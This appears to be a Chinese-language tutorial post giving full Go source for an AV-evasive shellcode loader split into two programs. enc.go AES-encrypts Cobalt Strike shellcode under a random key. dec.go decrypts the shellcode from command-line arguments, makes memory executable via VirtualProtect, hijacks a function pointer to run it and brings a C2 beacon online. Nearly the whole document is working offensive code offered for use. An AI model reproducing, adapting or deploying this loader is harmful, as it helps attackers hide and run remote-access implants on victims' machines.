Golang-分离式加载器(传参)&AES加密

目录

enc.go

生成:

dec.go

--执行dec.go...--上线

---

cs生成个c语言的shellcode.

enc.go

go run .\enc.go shellcode

生成:

--key为公钥.

--code为AES加密后的数据,

----此脚本每次运行key和code都会变化.

package main

import (
	"bytes"
	"crypto/aes"
	"crypto/cipher"
	"encoding/base64"
	"encoding/hex"
	"fmt"
	"math/rand"
	"os"
	"strings"
	"time"
)

//随机生成key,后面用来解密的
func key(l int) string {
	str := "0123456789abcdefghijklmnopqrstuvwxyz"
	bytes := []byte(str)
	result := []byte{}
	r := rand.New(rand.NewSource(time.Now().UnixNano()))
	for i := 0; i < l; i++ {
		result = append(result, bytes[r.Intn(len(bytes))])
	}
	return string(result)
}

//使用PKCS5进行填充用来
func PKCS5Padding(ciphertext []byte, blockSize int) []byte {
	padding := blockSize - len(ciphertext)%blockSize
	padtext := bytes.Repeat([]byte{byte(padding)}, padding)
	return append(ciphertext, padtext...)
}

//进行aes加密
func AesEncrypt(origData, key []byte) ([]byte, error) {
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}

	blockSize := block.BlockSize()
	origData = PKCS5Padding(origData, blockSize)
	blockMode := cipher.NewCBCEncrypter(block, key[:blockSize])
	crypted := make([]byte, len(origData))
	blockMode.CryptBlocks(crypted, origData)
	return crypted, nil
}

//主函数入口,对字符进行了处理
func main() {
	argsWithProg := os.Args
	if len(argsWithProg) < 2 {
		fmt.Println("usage : ", argsWithProg[0], " paylaod.c")
		return
	}
	confFile := os.Args[1]
	str2 := strings.Replace(confFile, "\\x", "", -1)
	data, _ := hex.DecodeString(str2)
	key1 := key(16)
	fmt.Println("Key:", key1)
	var key []byte = []byte(key1)
	aes, _ := AesEncrypt(data, key)
	encoded := base64.StdEncoding.EncodeToString(aes)
	fmt.Println("Code:", encoded)
}

---

dec.go

go run ./dec.go key code

--key,code都是上面生成的.

package main

import (
	"crypto/aes"
	"crypto/cipher"
	"encoding/base64"
	"os"
	"syscall"
	"unsafe"
)

// 这一块是定义一些东西去加载我们的shellcode
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")

func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
	ret, _, _ := procVirtualProtect.Call(
		uintptr(lpAddress),
		uintptr(dwSize),
		uintptr(flNewProtect),
		uintptr(lpflOldProtect))
	return ret > 0
}

// shellcode执行函数
func Run(sc []byte) {
	f := func() {}
	var oldfperms uint32
	if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
		panic("Call to VirtualProtect failed!")
	}
	**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))
	var oldshellcodeperms uint32
	if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
		panic("Call to VirtualProtect failed!")
	}
	f()
}

// 同样为了保证我们的shellcode正常运行要进行PKCS5的操作
func PKCS5UnPadding(origData []byte) []byte {
	length := len(origData)
	unpadding := int(origData[length-1])
	return origData[:(length - unpadding)]
}

// 经典的aes解密操作
func AesDecrypt(crypted, key []byte) ([]byte, error) {
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}

	blockSize := block.BlockSize()
	blockMode := cipher.NewCBCDecrypter(block, key[:blockSize])
	origData := make([]byte, len(crypted))
	blockMode.CryptBlocks(origData, crypted)
	origData = PKCS5UnPadding(origData)
	return origData, nil
}

// 运行主函数,主要是接受参数进行base64解码,ase解码,运行shellcode
func main() {
	key1 := os.Args[1]
	payload1 := os.Args[2]
	encoded2, _ := base64.StdEncoding.DecodeString(payload1)
	var key []byte = []byte(key1)
	AES, _ := AesDecrypt(encoded2, key)
	Run(AES)
}

--执行dec.go...--上线